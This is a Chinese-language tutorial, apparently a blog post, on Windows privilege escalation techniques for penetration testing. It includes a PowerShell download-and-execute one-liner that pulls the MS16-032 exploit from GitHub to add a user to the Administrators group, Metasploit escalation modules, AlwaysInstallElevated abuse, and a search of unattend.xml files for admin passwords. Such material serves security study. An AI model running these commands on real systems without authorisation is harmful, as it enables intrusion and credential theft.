Windows的四种权限:
User:普通用户权限,是系统中最安全的权限
Administrator:管理员权限
System:系统权限
TrustedInstaller:Windows中的最高权限。对于系统文件,即使拥有System权限也无法进行修改。只有拥有TrustedInstaller权限的用户才能修改系统文件
提权类别:
纵向提权:低权限角色获得高权限角色的权限
横向提权:获取同级别角色的权限
可能会用到的Windows命令:
net user #列出该计算机上的用户net user #列出指定用户所在用户组systeminfo #获取系统信息wmic qfe get Caption,Description,HotFixID,InstalledOn #列出以安装的补丁query user #列出在线用户REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber #获取远程端口tasklist /svc | find "TermService" + netstat -ano #获取远程端口
提权方式
1、手动发现缺失的补丁
systeminfo 或wmic qfe get Caption,Description,HotFixID,InstalledOn
寻找能够提权的EXP,将已安装的补丁编号与提权的EXP进行比较,然后使用没有安装的补丁的EXP进行提权,这里使用的是MS16-032 ——[KB3143141]
在cmd命令行中输入如下命令:
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net localgroup administrators test /add'"
当前用户为test属于Users组:
执行命令后将test用户添加到了Administrators组中:
2、利用Metasploit发现缺失补丁
使用Metasploit的post/windows/gather/enum_patches模块,根据系统编号快速找出系统中缺失的补丁,如图所示:
3、使用Windows Exploit Suggester工具
下载地址:
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可识别导致提权的漏洞,需要目标系统信息,使用systeminfo获取:
systeminfo > patches.txt
执行如下命令,从微软官方自动下载安全公告数据库:
./windows-exploit-suggester.py --update
下载的文件会在当前目录下以Excel表格的形式保存,需要安装xlrd模块来读取excel表格
pip install xlrd --upgrade
检查系统中是否存在未修补的漏洞:
./windows-exploit-suggester.py -d 2020-06-26-mssb.xls -i patches.txt
4、利用系统给服务权限配置错误
可参考:https://422926799.github.io/posts/34b370c6.html
Windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。因此,如果一个低权限用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限
系统服务权限配置错误有如下两种情况:
服务未运行:攻击者会使用任意服务替换原来的服务,然后重启服务
服务正在运行且无法终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用DLL劫持技术并尝试重启服务来提权
使用metasploit的exploit/windows/local/service_permissions 模块
5、注册表键AlwaysInstallElevated
注册表键AlwaysInstallElevated是一个策略设置项。Windows允许低权限用户以System权限运行安装。如果启用了此策略设置项,那么任何权限的用户都能以
NT AUTHORITY/SYSTEM 权限来安装恶意的MSI文件
该漏洞产生的原因是用户开启了Windows Installer特权安装功能
在cmd命令行中输入 "gpedit.msc" 打开组策略编辑器
组策略—>计算机配置—>管理模块—>Windows组件—>Windows Installer—>永远以高特权进行安装:选择启用
组策略—>用户配置—>管理模块—>Windows组件—>Windows Installer—>永远以高特权进行安装:选择启用
设置完毕会在注册表以下两个位置自动创建键值"1":
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
Windows Installer 通过Msiexec.exe安装MSI文件包含的程序。Msiexec.exe 用于安装MSI文件,双击MSI文件就会运行Msiexec.exe
使用 Metasploit 的 exploit/windows/local/always_install_elevated 模块
6、自动安装配置文件
网络管理员在内网中给多台机器配置同一环境时,通常不会逐台配置,而会使用脚本批量部署的方法。在这一过程中,会使用安装配置文件。这些文件中包含了所有的安装配置信息,可能还包含本地管理员账号密码等信息,如下:
C:\sysprep.infC:\sysprep\sysprep.xmlC:\Windows\system32\sysprep.infC:\Windows\system32\Sysprep\sysprep.xmlC:\unattend.xmlC:\Windows\Panther\Unattend.xmlC:\Windows\Panther\Unattended.xmlC:\Windows\Panther\Unattend\Unattend.xmlC:\Windows\Panther\Unattend\Unattended.xmlC:\Windows\system32\Sysprep\unattend.xmlC:\Windows\system32\Sysprep\Panther\unattend.xml
可执行如下命令搜索 unattend.xml 文件:
dir /b /s c:\unattend.xml
查看这样的文件是否存在管理员明文密码或经过Base64加密的密码
7、补充
使用如下命令查看计划任务:
schtasks /query /fo LIST /v
使用微软提供的工具AccessChk可列出权限配置有缺陷的文件在SysInterals套件中
下载地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/accesschk
执行如下命令,查看指定目录权限配置情况
accesschk.exe -dqv "C:\Windows" -accepteula
列出某驱动器下所有权限配置有缺陷的文件夹:
accesschk.exe -uwdqsv Users c:\*accesschk.exe -uwdqs "Authenticated Users" c:\*
列出某驱动器下所有权限配置有缺陷的文件:
accesschk.exe -uwdqsv Users c:\*.*accesschk.exe -uwdqs "Authenticated Users" c:\*.*
![06b3206e3f28a5de5e6a2918ce5c6f64.png](https://img-blog.csdnimg.cn/img_convert/06b3206e3f28a5de5e6a2918ce5c6f64.png)